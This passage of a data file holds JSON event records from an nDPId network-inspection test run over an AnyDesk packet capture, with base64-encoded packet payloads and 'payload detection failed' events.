oicNnXs1HcCs8rZfeh6hrACdwuy1fmWF7nTWrYJj+4cbwXlp7ZX78XN0AluPNUAfJnxPAhcBDei+kv4JlktLAsChlPDj3yXM7kRMowqCa0LX4HXVBWUYpuZuB0eODePm7kp1SC\/+7TTWVEcd+QbJzo0OmGfRa+L6\/WhdEBfxu5Ni3ykSEPZnOi2ZIVTJVqh7I1Eg8Zng4zdcsZ6o\/Iv2WKsJp5j0cQ7Kosj9t3TT28zeP3eYeEMEk0XABTo5IRrLxMfgx0I5lemHi+qAlBGarGf90keC8kHeW285B6b735rRY\/G9LoYApqlQpPrS2Bljxh5Vj+jacpfy+S1D6ra7pua0FGO2aYV3zSA3IHf2\/euBW9jgOoetO\/A96COBfsnWSJ3p0SeaLjZQp6Yk9VYnURUQSRV2kJGI6qPZErRH9GKQAZjqifnM1r0QV4MSmmC4VHxlAXuxJy9E4waJOt0\/PejaSOJheOBkldHLctoLoh\/lowbqwpR7vRoWRC3RViQd9o4HHq+tyKDx\/0Lmv+UNYxTYsYmFlB6svivSyclL0sYSnaRm1P5iupmRp8tZxkiL+dhDavY0qmwUuJVMDxrtGV5zkyROEH6Wum+gRxEkgcO9fGtqDuTHfAVkIhitrrIMXKifPBMOOCypqjuck8qQPLSMpPokA9jpXWNn+hjTUKlSpO\/Vjn2mu6+R9CnuDvupxGFf3Y6\/o9eMZ7NOOV6dACsokJwl1U36ohbkOsVamaYcVRHz9lN5HEAigoKX1JMFUlBCYUB1gR6urRI5\/9MkiHHmGHY4Sg+ejpaU1KgrlfNbfA0+StYXJmvaU6vmN7uRdc79A00Z3rrziUWhSGIsQRO5DMSToF2MqvDaNaUCd9hVsNxmdfi9BmrQWTF0tdX2e7Kmb5AwJbUPPI4aBiMm9W6tCRXd1d5tFv+WVycgSy0g7h1RG6jXYb7H7f9earkyCTlgOHJKf1JJULKRjlme9wdb0afAq9ZwH50iLgSNFofs+LLAC\/wcT3JBcUfYGBWilpmL1kcmPbl0HNlI\/7IORiQAa0RN27aMR8yFGR9aAOK2c6TGCMmg7v3FpS6GqJudeTkDcgGnheBb7NIFw32gVg\/L7te2hxVrp+FG0KXGLr7mYAt\/sMkUwrv1cnskHHQc2zv\/RVZyxzzf1DeFyW0WVveiHi7XMOn\/NVfL1WN77SW+GGrshT52CJ2G1bNBeAgRkU9vnYh+\/nGZDFDG4m9AYNo8LC3anx760G+Cpr3pMW\/3dNR\/dvj3opYWIKKTDUnASEfN4t3NiqWDwsw8j5YlSH0soltKguZRLB1G6HbTotIHPsd1omnIwk\/nuqcbBSxm6l8CpHmBdtFgNeiajiLJPf23eDMQPEfprQS3VM+R+4mVSTZqS4dcXaKAH4bdORGhQD8U0\/4Nlhao+DUkglSo9+d\/LAKYPlhv95+pPqQMQMNlrIXb4qfDjxH5pBe8OOa4sjUek+kjAyvfqc+wRRXClojKuSX8m2xyHZlLDFFBx7bReYGhflACWG22hNbBR7FpHUjN68HenA5uaNXy4Jym189uXPvUuh6k3RMcryoiwhLN4A4TTeYCJj5d47zX59XMpBEOX22jJHLvsUqgTSpi\/XdfEcVAjvN5v2Popt2T8Ruv7GjGg2LnP1om+Lhhor19tiWTQv1rZfZtz0WRo2e2EdvTZZQ0p28oEkiknxDtzChsm7yjP29or6IypBOK5mxkG1hVmd7PLddSeXeVSwylrBVQi1eGutOjMWK8rFF2Rj6t9Nl+RsKQFfinnIJuWwEAJ3uaFUT8oQzQRTl10PggW2Le3+fAsy7hN8nU8Wq0CzD2+DHpnF2ZFahxCPKAP127v4gMRGCt90TaZog5oKfnvSYvPJi6HM28aJpNwFqI1SWgGDu+ROjKojdU4G1hE+BdjGyui3uA0ufdInRbmtCp6cJGB8IT\/G8yh2\/asICgnAOSJnBcL8oKvD9vTFJtUYn+KABtJp1UTOYrzq0w6YKWI7sKNR2KNbs0H\/E5vU7OcwSvrgfTlYOXdfg13zu+mZ6XmBp6fZBmd9m2m8LAO6iglou+WG5dn7khMWOaHEkthcYcJ+5opAZlVPejTXe1x445L4n9Dxi2WZuSoo7e+9\/Da8Chf4klrQbQZhPvz6Oj6TtSxaYhAcmN8Q5G1ZSWW49T\/Oyombi3iIUIONzUbWKJJ9rHdkLrah0VvBulLoIU5ON+TAt8l1KTuySl018uXh0kaKWGvv58Ee7JPoL0OvKQxme70PYbcSjaP6f7yGBpkIXFj5cKj8gO3HuHtj513A8T2rkvk9lSntl4HM+RlakxQ53oK3qtIRHC1ll8of1SsYqAGyhToJb755XXpTATmm3WTCcY8ox5z54zAjOYTpWAWYbUP7JcrDLyT+jGQ8tPPbK4khtpwrs6qZKh6eXQRfwKgGG+uawmw1SmLbQt5a5d+m2mk6y6Qeye9Id8uKZg9kw+Gl\/NrGsXdIp0bCAjPfw6jXT1y4VvuUckJO4fKicOcR7uBbP8qgSg54WPAzJ75OIEp4k\/3V8M+a+5qo063FwkxVs0RITdxiI8fXC31MfHHU0gVbgDWr5CNBPHya71s5vgR\/KzHnEDyVHPFGiel9anMHxHKiRKg5ZyHvmBS0ZOaAIepT52cGOxDd8MP8sah1axbS+N0JrlIY6yCulCYfzeZXi5J2Nef+CkjhklHviORWt5yMhVut3TbKmiSan5zcnO50nn\/9SoE9qn94WGODT75FV6ztXKpx9cK\/8NRbspKpCzxUt47Xm\/tOHltYWBDU2Pl\/+Sy16GOdvboZW2U\/yrrO5S0R48dyFtHD\/FlekuoAnDGM2Bbso59IQHcJN+INa\/OwmAM8cXWSyOnyiC0C8SaJNZS6KGRzpy7HLTrO9xNkSfH\/Gj3h4XoLh1GJqmnuPwXVCpGcmHsv22tPm5FBCrniZc9\/AH4cwXXBKC0g85kEXkS+mxzD1FnTLv7MSpqj8ECgs2paHGLh9zDWS\/K33azdiU0UAIZddpyVQh\/6vJbV+VDcS4u6OprybsaY1I+kXW7osD8DYGmtN9vBcgf4cl+JLa+p1myHOqEET8v4GyhGC4YH\/VZN7YILY2DVcF79NCFj6GaVNxO2gPTwEay\/7fI0g40F+C4iW5msGdXoyjKESsL9JwDvoxW0HPm05W9bw5jhOtA5trVwTCLRIht2gcT0l1ONZajmCO+PsbGv2UxaIiY5Y7pNEo0DfYlwhK6thE4nOYsTxhmHXyMHkZN9K3KMCWnR9KaN7\/Jyo5ZFtl9Oazn8O4QOo64Q5Zba9LLsDF9z6d1mxje5H4CQe06dF620MABCFdKOjs2KSLHtySl3sLCulnR6BAnyexz12hzW5RpAFyMPeom3pJe+ENi6yaNMEzn\/\/SuRNWhusSlMV90AkdBFgBM5uhn3zw\/w2onIke2f8JB0zLqi96o2RUANQAHbozIExpP2nUwVB\/cdpGhZKCkqpopUqShBwEUuvdAiCzkGOAz3VFhhHbe7cDeJyjwaWJGvlGan37+uV6GStmB9DgQSHGwJQBQzQVEJzR63YM6RAnvBESKwKOk3wXdNsEIFUFZU\/RacONNTQF00mRGxYilfKgf9vXfThcker9N2d0lFXHjfcIHI3UAeykSXQKa7kD75Leu\/l383EJ7TuqHRsb1m8Z4M9U23mzp2lDT6QU2LXt+\/hoNOZZA4R7+2xFuLHfYdESRhOv5+QxJRtg\/zx9B2INc2xeuN7H+LmLUTWgp0+aRXd\/xEp9ilbDZGxE98O7Pz5VO+DkA12R4Q3AAN6+znlP0XNdbu0huGfrkXOqvCh8cbWAjgWaeC3MA8XKMOc2IA5RmqvA3X6R5JzHRLLBy0FqgMxpWsG555SpRa4jeFZufaF8Uv8gsczTd9DVdOIgghKelm2W5SZgAZh"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":970,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +02686{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":971,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":354862,"pkt_caplen":1761,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1761,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeu5AAIAGAADAqAG7wKgBstOUG56PIH+2WcQnG1AYIBCExAAAFwMDBqZZ4hNO+msVgQMODyeAzJ6ws1b6zDPIy93ZSNo5lx0Jpgz9Ei9T9g6xEGk8MYkY+PETOm890Hf6FMER9j\/zEBpGOx79VHTtTmEhxeT5DB19AuhfY+hzrK64OHQHqBhwISGTKsY5k\/W1u72h4bp24AtMscRRWEvBtDsPrQH1YK6hmf5he0aZ6j6xes2TMq4iF5FT\/2rf1z6rhhmy8JNDnh2l2BKYehBNacfMN\/09D1fBrqcFS6Y6YzQpde7uR6DHtCkv5qMcvkQlsI2UtzoVOTst2aWEas\/CFf9V9khB9fhpjrncfo8nMuuxwGT7AnfQ6Tg\/iSfhTH+yiox87Npa4PPRfSKjYChK\/NSR9SOowqLhF2Rm0Z\/zg8h4nJpTmjYmI2EkWsPJnfK6XElrX0hJuzSS0EOKnA27O5jucJSfqocjstZPoQELqd20JmfFmsGd9hwSUfdkvUZA1P6LkRK712XlH\/cyeehIZ2Y+QWOPA+bOrOsFKqq+Oa8KwuDvvSMmWWj8k9tKt5r2IYhnbiUxX7pDx7r1R7M7p8rxRu5q4EvEiStB88tZQ9J4sWaq6kg2K+VUIlm6CZPxfRuo\/MhxHHPAkESWpDRC0hy8uMgVsjSs94zWpkk35nMgJqxYtq1TXaEqLCuQ+OCiacNW0AzsEjFx7CNyzBq2sIPrdOwGjl7qsq\/miGH3\/Qpj8ML+PK6kS6oU2ripCNusnOQcYmD3aP8VAPR\/CDBoF6mB\/vo\/SQJn6NTc2XwjdKBfIV0sspheVv+u\/ADsPsX+FKpdpT\/+Fs\/sols6IFhsPb85ypTwBVvhJb6LpGiVg6QJtsY17bae2U3LIl0Jft69xS2d72++qnsDJR93reZC8GaGqBBcCU1Wkpezt7aXx1pdnw39Rigyl6P\/DOqNhXk+vs3jVXUxvaNIjsaxR3g6CUBbPo9fOfRtzXMf470laGq24+J5esqRmPOHasruvyTFhtvd9MNEL+HM29TFCxLtO07ZPCiUct7ItONc62FPdatI\/YblW4OQkGGACiyESfaLzu7Q4d6me+mlB5ij2XxBQ1LG\/AngzZWJzavWtOxk\/sTVxnAH7+Raal0MohKqSZbZ\/a4kp7yS6TRylD0C9rZoYDpUHLsd95JhWBNIGy72LCKKtwkGj5TOzmAEMf6NBOaQZscTvcQkgOEm0uPWAZmM\/FciQl6T2jo0SCulRywSGL5TFMEpmrU0fhMHJf8lSp+KPIp\/T5tHedaIFDT6281cE8J5yT8lAUQP44\/fFobm4UVaUf9wlhrOwpsxLEbMfFKkWHXnfVBgB12jt4ozSt+QPZibfQ0q8yDmKCOU2kpv9+rONxKi8cOJdlDELGK2kQcwzqEOP7yEkLl5QhIp2NmyLhjIEdSIOmToOFYPaosIV51U0TINwxfxHRHbNU4SUorrDtIAdMzGCM8hk5wDiivh4C741BMLtRzuztQOZ\/kofP40TXFlPDl7XdyLPjRiGbnrLMquUdI0sNFqYx+xbGpV6CHFFEhs+uVfBnzn3Mxnfop2lDtT6RkNDmr2\/sii7aXCkoPNoazgfB3vPnkfyZL3o8wtiy1nGAvqS3usK2CrSsUFj8ZBVXWL\/PWAdgbrm9o3RA1pwWoVz52SvCkLd0UEph1LA\/3h1JGvg+J7aFsYnUrGAAHc2bf28YmCjDTAHWYCWC6wjFRAoyQPOFMwt4oY6NJN8J3onU4uxkjAzLBPA38AlvptklAm2Dvg6lryUfeD5RpfF5F9gPPSftjp4WJ+FkOLDUz0aVR5XF0gEA3ID8t7AQsNHMwxufmNvJ+ZLV6ElZTRjZ+sPFUi1QVtowfTt9jo7Pqv7PtbVsAmNeOuNkzP\/O1obNvrPvsygDgQQmackMwSkKwNgDo9qkpfsrr+TLQiAyTFxc8s4kILY5ETzadTCcMjPq9sA1BYhcQeIIsqmIa2HK+LKDWN3Kx7XYLoFgEn\/uroU2FCQcFChFJGd3IwytEWswGiJ\/KNs6D22CL5g+jqp6MgubZ6APjc18TJ5nxWhQG3HF8qSf9v2Aut5O5KVCsNO8dk77uBeMIoo+8ZEME9dTDVZ+FGchDxa3oHk1NxKPNpbKclszadwwJ9KXvZLDqLj2x4LK5LCWUzNXBxB5OBZmzh+TgOyTYpwi2i7XbeOiAkM3KCtGNs\/e1k3W5pfn5bakt+PC+Ru9BhjavWZzDLCq5WFuEt1VvKMeSM6uLEebAQyKio2InvFM7gdQqLdcNvTNQuA99KcyTlRas9Fvu66sgxSgQbX9oy922T"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":971,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1727} +07381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":979,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":386124,"pkt_caplen":5227,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5227,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAexNAAIAGAADAqAG7wKgBstOUG56PIIZhWcQneVAYIA+ExAAAFwMDFDBZ4hNO+msVgkA3HlsTvmTkoTSmrN9s0ByN7FRhlVv\/0PK1y1F8eVpUmCUz632Lny5QS\/6ajqn1dMXeC6nlqyRq5M80Cqa6QvvCVVGVmvoBPy1hOUlwffD1wmSEFIsZdW1+vOOif77UGS4kOmmVq2a5a7DDv6Y+clBRSh7IdNZAZ9Z+IczsNGIuXq0bAff2IVzBd5pSkZxZ7Ur+T8svuzDavm3sDaau2C1K\/lSn9eDBew5p1xsFQZYRG5ZuuF3Y9Jogz68dpMlo+oAdyGBYXeSVpYOBBrB6B+GQW4wTDlzyUfe1WK6r2uVO\/ZWPrRb7V1OiuamUBYktELpoUXv9U+YaLqKo2a6ft6I8EKTrcQF27xpC\/5bgmBfGiyhKZ3mWqx6JeWNbkXLOG4rjswdYu+OyPA81KQgQ1qKz8eas1do3pViRNBRV02t35cTYONIJlPP7OpmCNvMCaUv2+1jgUcA+OHbkAJXIXAH6xY15TtbWfgYiWHv7GkPAjy23YPkx+JL8HHV8VgKMSXfVa6ey2eX\/JqtWN1rL3ctwOhWZSaH0fOWR\/M1q4j\/m2FQpccpVI+cGMBDVCI4zu+LV6\/skRXappZ6JnjlhgmwIAufYMvZHt\/uQKv9cQyqRdtrQ9nt8rwfkJ\/GTQ5KIO\/8dc+rSM4xAY\/+w5O7+1gNTddUwpBM1pMNF0c0IKC94FTxpyU5ejP7rKFffOC4xVFZiqDWk3MUUwbjPNAHFFEqO+SdKvSf3MKcZ0mSDI\/uIejrJoVONFz8KBwEgSEZD18C7AXM4UZs2vpWHgOahn1sbLVmpooglj74nWTgk3K10oCl+kuP4UCg5j\/o3qYaiI+IQYFER9e8iQL52Oz1eJ0nd9LUuk6yxGsl9cySmRdn8jYrdxn9A+GbYxEY8i9SIULrURzvFKStDA0hZM2JCc5to1nWMdnn5DEJ8X1tXuG6um80vsiwjfnpsQ2ZL5VQUz2Pm9vHHZAYyHQsLJ\/kaglTt+sryYnFEFO\/R6jvfzHZPB9TM0\/eJyipznXEfFtZREf6Oj3jdUdzWt7O2nS2TaXFTf9cgblsCrvEUqoHUHDOBeqPeoW1\/yBSio+AwryANGuV8JUci9ZmsA0l6jwTspInLXkx\/RTFcDqEQAuuL1\/GhU70bMbD7\/ATiNbxPoBDypG2V9gVP+Yek9FsAH0\/Y+tUbSiwttxAGSSxFHDN7LScgQ9uAFzKZ6l7Id8QLkZKBOykeNkfirAhsBIXlDrYErbJIUh9jt10GF3T9cZzvgY+vb6s0z3Emaq6QjVJCX2fXgWdIXNsrRWweRUk9XwjOND9997X5fbYbjlFV6OFo74b4OgOAKb7S2+Basf0ubQX3fsFyVB4ouBsgbuFcdd7ucu4IvaXq2rMfryiXwusXmrI4u0RMXKQsAzj1hq7IUuutXjyFSK3hZB1ASzLCO6FftFMF6KslZ4IN836dU5ySfNdzNzSWqDlH2NkqXI9x1qNa915AVnEL7\/wX5AtkkZ5Mp8e4Zxc9Gur70nHR2umIsE2waRT0+R3BMFTDoYADTF91W\/119jnNBQUCXQ+OipGuj4zHXLfWDqg98xF7iLtsX5sfUaIb5aAOybVXH6sZogXGcRAYt8Khco6JPaeIxx3E2ptcskSFmMviah+7LVdxBKfNO+hKU4bNdKBRUiMqrX5oDn9AwVdz4dXrJp3Vzf5FX8tzuyPV58Rxpgz8GYw5\/Ijf3WLOf9dbHc9Fa3oENNlIS1\/TrhfIwcL+eb09XpT8ehuj1GZtBiMhzO21eeuH4bNJnKGeRF\/V5hiTH3F6XeeMvF9IA2N83VuGWJzl7BmSEPd1DUEegDqGOBpyG1eDM82w7haEEr7HwBBTfnU03RBhiQHp1hVxTVUqYZ0gg4rC3YiTTvW+HWG\/fDGscCSnTlhu9V6+eVXeiirmBYrYUA17SQDHe+9qolUDTkN5vuLLn73x3e7Ulj\/ptOPL1zqDCKHps0I2iLK1qp+uT0txfAOeLjLBWWfKdvWWbrf207Hs0\/LjBbywMeXA4ClMvXwLz3cCjfvKC\/tyM4oto6Qnq2ybCJbY\/mptYqHD2hp+zxJsVNLXU0Q9IWHL1Eeacym9NTvJ2JTBwGVapT+5XTRqhiFRuORxW6142ClVB52UOAhSmxCv+DkF5LRGFBq5yt3h7Em3TTh4dMU\/SBtXKGG9UJNyIbNPM8D\/+tCENn6knQanisJN7+g\/27TCEowy\/NM0DB\/qT\/z0qcbNPdv\/1YQbEqsrAPeUHBGs+\/AOpavcYdso\/Q52\/r8UKPlGJz5NdXz1LKNNv49G3W480LTiRi8+wIQCjtZGc1fIAw10M+P1RocaR6qy+fjhIwzsUVkaV3bt7VrBK9ak0HdsFOPq1V4bm1ugMnwPUnrsSFIwhO6+TOJMH3MzZYQsSfUNwFVb571AehO1liQdLDp9ouYM3M4iVVKjSgWkOmyNqQYXEXehtJoMM6CEEq61fHF12gkBc4lEuwFFVJIf3fuG8bty8Y\/d4sMyJ\/PU9fAiQ2UkqGYZdKe1Y1tiBYzB\/O3zTHUljNE3iTxGW6Q28bLNXh8sWlMe6D3m815zU+mUEY4sYZO19W\/mDtsmEWtf8RxIMMy5yxFl6XAzCyM\/neHdr6Z7Q8AtAe6pJ1KFZgY18fDKUG5JRUmFetPEYgNALc\/7BEd0Qc0SiCnWJwFtM9zrSIbi2vWalIknFaO4gLgwxSnA6bA\/nGSk+GSwLJQu4kJn74QuAGm6032TECSMHRTyzBLsu8eEBofoYcnJd1MdTXUshhWEsQ6HveaMmK4h6xpeqYBS6I12sTzz0ov2zBlS8zn\/XQQK3CzGzaVtu7UH8aHAPwtcn8n+g5ordFf5iBFkJYkpOHI7usdTBSnwXc7yt5sU3IkCbpzgmnqsfknjf40tu\/+zgXyD17Bf1nn4bemg3KudJLJFLEL3FNSWO7rmIJkqFsa0t0LYO0yW8EnTeI1snCLiVl9WLXl92gFTaJNqx+t5SY2iK5OgAcM2B43sHXoPTi4yFrpkBSskYuyPtxWesBW6HEhpALabY4gexUpDVSo20\/DJaTTp35paFaMMVyD5Szs7u0t9m20d\/jwvGpof0kUkaau6yTB997cCT6zr1XOFCt\/Mz4UHKNzr8TDPp22HdlZ97D3NzmOxKoeo\/CzBhTI4jKVqyIAcLcyB4G8Ydo92GJ6Rh236lIAmVkLgGr1Qd+KGGBJurKznCQEhqr6QL2FH\/TA4rN6UCJ0bSJjxzPcqpsuNLAk36W4WslieC69Icnk2IFKHwYxXEtZLH9WHgQc3CPxrUAZGKJOukwbGxNsJXtfmrmyR8cJ4dcqHJf+5GT73rD4G1g2V8HylLB7KVDJKjhKhDlfDwCMmQfEK7sf26v0YJ8ZAhehf0uRIpHVSbie6N+8v9joGRCIXjHzb8vvgOAqXLbHKWWbfVYuTQqZbdJ1OnQI0tOTjcasyitcZGoOccGJ4+gmwCYA32xv+uOApv6YE\/of9O4POfzCGprFqgWSn0Q8DLmd\/d38bAQ5mAy2bz6Z55DehlmFLYA55q0vbyBHg6lePBr34jD1+5nxOf\/Q+8bitfIBFGGdfVoaT1gWUF5YtJCW6qK+hjsTPtIJcIbwC+Lc27gmr+6\/pDguJEkKZREZ6t9GU8eOk3AQOeLxvV\/xaNjFfXRkKO6l\/bvW\/gubhaAaLRniRXLDYnSE0YgQFZzEvyiUUD1SnBX6yNJqU\/GtzBHCaEjMBpdL+98yJMCBbT210kYDXdpgjYB33l4+BT3SVWG1LQRml1TH7BAWIwMgxGdGxQH8Dt+Q8fUrvcZx7L0KkB+S6suJGQUdvjw8t77YVSBOWcQwW8Z3xrl3\/B+WkmBhosd2apInt22q6LUR1uW6zoob14eWASLZbWJa48UXgm9+LsmUCRn03SFwJsU6Z2WurALD4bZ5a7y\/l7OWECt\/1P7lXnHYpn8eCjR7SZOJZjXcjQkvzLSG0uzwwp3I6eMtWSovaGhhF0ZPH5Au5vyIX98vkSGkvLNy54D69jKqJB+bQwp7x4Kxl+JTplmf5A2pLPNncnlHYku4cXaPUzw1\/YpiEj9yp6Iyl\/VHgDwqBhuQCI0BqTNXmxk3vtJICxd6tF19aXWC5a5YCbR7iXMG\/Ty8nW1IqnogAgmh39QkVxn6ME3R5YxRNZUFrwFbsA7wDZ7T50zJWPea+5hFC7Iiv42iFQQ27608ptvvEDWIM3ydfCZS80mKi9yo4xSM43ABViQ1bxMIGjAZFr4xhuEBXCaiKBTXx+Tv9DsDJ6XqZJYDD7I9gb6SwNZyuUaP7aqOFHCkM46yj\/ThJB+gT2fKdCQhAeW+h2flEExOOoq49fhclDMRK55rEUuaiwSHopfKkw3TUrO0+xIzRKf2aQeRPxgEyU7ydOb6Vt9QPvmSe5GK3sC6tszyaPJ5VszS16YVC8ypbg8x6bo5UxzThqaX7b64aXXMDjRW9yNrHaer9sheZ6DPMoPYCXDGeTiFDcZZL7CtEGjI0ZG+0Gl7ui8g7LaG6FIia7QDlZmUcsroAMEL4nWwOoaOjkguzKCM\/PB5IBBMOrGpwQcfsPBzXBaku\/VvuTnxvMu4NHS+Ay82N694C\/Qo\/1VkDfw7hGuDHqlP2Uu+C8z1EeKJNUNqXEFbyHlkimkTns487JS+2LdRYO5lgfSDNvcaYJQ7yc5CXoQbFNLXm0OgeQUIVqyA+aBqbma91hU449ESdc0StWUBp6Hm2sm2hpH9bjf00+VpwTZe8m55SBYQo3Jy2eF\/TXexNQMD0Gimzowc5lCsdffGmFplkclPAWUwhdV4sER0rntmtsSybIQ14vG86BUjBALjG+OQK9wbul0hWCamvB1kQ7r+aYQhjiGuhgk\/BVN\/OHxi37+9UM49ZVBvPBdPhfAaL52DhzKnxB7\/xpkOQMhigySvJo6IDDXmSkOda7h+XiHM4oP0a9CGj0iGjLrP0Vu7ooTHJHuHEvS+iPz6Vy+S5R9nJ5dG2QtDRVmKGInhnYwczGGe02VbhMi+o6gAWWKEH7dZa4IuHtzz1ZWXWwKd2yJ1ZYMdNSjIkMAcC8UTLKdlhvijP2\/ykIoEeir2hSZPjWuweg2SHugVL4sCb8J5rhhtdxt0lBsdYQDYNaUSgI7gjuMOqdexa7laD4HXyZv6FLDgvC9jdZbFI24ephpdlwBWa9U7j4bN67cm4uPQ4amiZyL8zhAL10e1b6QRNIEpxfCXyfr9P8uOSQlBrEbMQivRhkrCbmE5XBGMoHVODArkPJLX\/RvxSSic1gf2LYbP\/FPGRNj0isETWle0Dlty\/O74fDKh8Uw+NCBuji1EXRNY\/qLfNFQuQzdBUmdC8bqs607XnITUUiAWhz6ChkKpB5SNnkwYPWjgAMJn5CsAWgBJLh0D3+dNFry4TGysIMF9X5halH5xJZYTipsyU8a8OR0za7dVmPWrVNXUCBEaUTv9HAZF1Ws500uU0KlBBKtPLAF9WjrJIhCrsJGl6SDOfoH8ol6JdFhs7kCS3S2gDh7\/X2cOdNslWB4oJVxgNqfrFbFbjPvRtDQaI3J7FrOQceI3FKiTDcOQLzkQkC+yAFnckeC3trOUj0j009+5bByRao0fMcvajj44sDEGzMgvsxhWN5sqfRGhN46odeKnrGEVP66s3Kr7dVUxzPyo\/Kvh4efsssSYAhPAM79S0vWeSltGzTreBlx\/5UcwyUDoX27gCg1dTpqCp3Nj2HIhMdLGL1hw7oYbKjOFfuWhN2EUE5+2xUHCxmk3PZg0cDOn9r554nrrFL0WuYXtJj1KjWk6oGDo5Vp4HDEiQLSEG\/EAHYtr2MdbkjNbejRgDPUsgzkKn1mQQrPNCR6zuDtTvG9Dkf+g2lxSkTYol2knv5CeXNKtbfhronP5JimrZb\/htm7T+TiBiOItFd6Rho60SFshCADzW4hiTZcEXOnyWOuyLyqYq97WbJUR6HPpLPQmcS9i1LWM61nMfijh8e22FUUOzZTES4ha4VpvaYqQr4UZ5Vl2WZh4dagDReTPg7zMzDuaDehB5\/zATGQhe8BP+yhNzT4ZpCOTqFE3tJQLB\/JM3i1gAdrVTcxvBEEtX8\/VMI7E0HkoDMMoELNBudv8qDv9izanv8CUXY7o3Cuub0aJY4AqF\/u6fHOSSfJtfOg1SPvKafswr0mZCQxBpVlLNI31wLeh8D3S7x0NftrQjh0FBwFIeULYe7QzmJPvk\/8JMqSMrw36JDu+2\/+ML9cViuuLQxHyojy4ZDckNGBk8rH8ABucqGN\/5HmvS\/lCfXYmUicVXCXvLerhzfT8wym8+B11B\/If7V9Bnr+AK29NwyvNbyT2A7NtwudCFRryKqdhS+dpLom8fslMsXO9+wd4pgzHCBucNReC4usnsojg72414E3+gJSig6bg2XY280S1TGkM++MMN+aMx7zxMfvNzE\/SMi6WjoQK+IIpEhYPswgyUTvBAF4JDNIwHAS3HACpr9U7CeKIRoEkTELua6mJ5UOLM4PvyQJLRzbW2e5RO7xKaIPWbyj0XgsIMOcbPn9eg1n\/IxpIUGIWxxzSZ4pfB5O+qzPJtrmDYzKTfsFdctQLnC3UlNE4EobCs5WQvWPrRDP6HjX6WDfvETv6hjPYuW6MpSqun7GTTxLWeP5B5iuQQGQBKmE4xxDbzYLHrsZ8UE3ZHQPZG+Be1D\/M9SJNRzyo4I3rjT+fyl+1dQ+TnhnKH24zsrWuUvRbRoFZx6OsdfLFjnh\/8UtYpGFyPLGAjpquQ1nvK\/KRzzp+n5O3rgt5jhxhgmDfBtY9bXBd2XGFHJg0gXohMmYhEj5eRTv+OSeDan8624F4B9XPMkiRsvfqaZ0fLQPmiqiAMWx\/o9uob8JkW4pZoCafvtDdnuIxos2AGwn7XdY5COg=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":979,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5193} +07826{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":980,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":386299,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAexdAAIAGAADAqAG7wKgBstOUG56PIJqWWcQneVAYIA+ExAAAFwMDFXlZ4hNO+msVg4kmHgMRcp5D0VeAMAFwaIyeNK3KR0EY13WFvuDtoMkterM3ciFlfYo16pny2XpRgWpx134ns2o52s1rRyGd0EvbR2agg7Sw0UZFaJgvCWWvbQyUhkmirtcaJ8nrFrx1cZHn3LCKYVYXEkDnxvaCNyiNh2A1W9UhLrprnUbbGu6aQ2UyW9LjMGmKXwcJFDeDgPHMaIheRSqkutgaxzNNm2b0oEP7qTba+VTZuXKLOutYoSZAutl4ZZjoqgBYnFX\/kI5EcVyr6zlnpiF3HME6FmKFKXaZnxMt79eYVFeyWma+X1AcKL+odznp9Bb3Q6u24DdA6JvHfUo51sh9WqgiVBgdXdJkQDE5pvBxyFrX7PxOmp\/h\/APZyGW2z2yjdpZSjVQBpHHat3B3UOvHyVi1tiApJgTaiCK\/\/5GEQ5goAzzvR45qWSRzfEGPMpvD0OQVMbSZJrRUz3ILNrJTrs\/v6lfzz6UsaBKOQ7mj0bQC34hR4vCp5hFOcUml93FEaRuptMObq0Y\/3wE05OlWmXWnN0yojxvkX7yekTh4+Vfc8aXiN3jPL\/IE2icT6z9BBCUXkGDE4+0PBCdQwDLjAnidi+Dn+otYEtNcYQpGqe11hOKbk7\/MLH5+e0tWNWW\/NsntBvu4pJXsUvvDeNW24rNwVwIJYEHloyG\/+mrWrGeqsFBUJDKFJJaVeqQArztdmYbiXm6y9fYvKVG+38c6iqTfyj08r39vRVNdeZf72z2uNu9InvjN0sEL+VZwYSs7oeO41ZmQrkjGTrJ0YH+uVNJffqPZip+832lDGDKUeCoMhqFtbM34w6TaQl6OBD0PmEw06uvUWcZPWXcvJzv1Gz5ukfVw4RUqXtArM3+Zmuah6MJr5IbhdgrD2Q3udRdiyoLLXOWpa7mwKNyiQk\/qvjpMhBQfgjKLIKfYDB4+TgkNI2fERoY+mrqb8hoeslng3GsIB5n475c+hdOVSCZ39F\/oyfaRiCe\/8PjOzo+\/Q8hWl7OmMwMh+I9IwfNHrFGfrrZLAjHLBqRkaP1WUuDJfE\/SDK0KOdKHmuhp7UaoGSJ1WeA+L0psYHPeRS4ul0dNP32HL7wbyJQhXPmAqhy3AQzsUVegk8K4IQr2eH71zUSn+mRnydkF2TwR4DvLstyPsyGKNaAD0aqXFlsntw+\/kW+NWSfwkim9M\/Uzbz89ePo\/bOjX0eIXa9A41PxBWJmVIzgiedddKXZhEY6yKYAP6wqSzh\/YyaBCKYADeSYV1U2b5Iu95DWOmUScVhjTVrN+m7nv20Xuut+YL1xTrT6DZR29x7z+8D3yeLGuHPsbRM0rUyOO\/J2EnM96wj3xztev11J6eP4qZQ9vK4GudW1F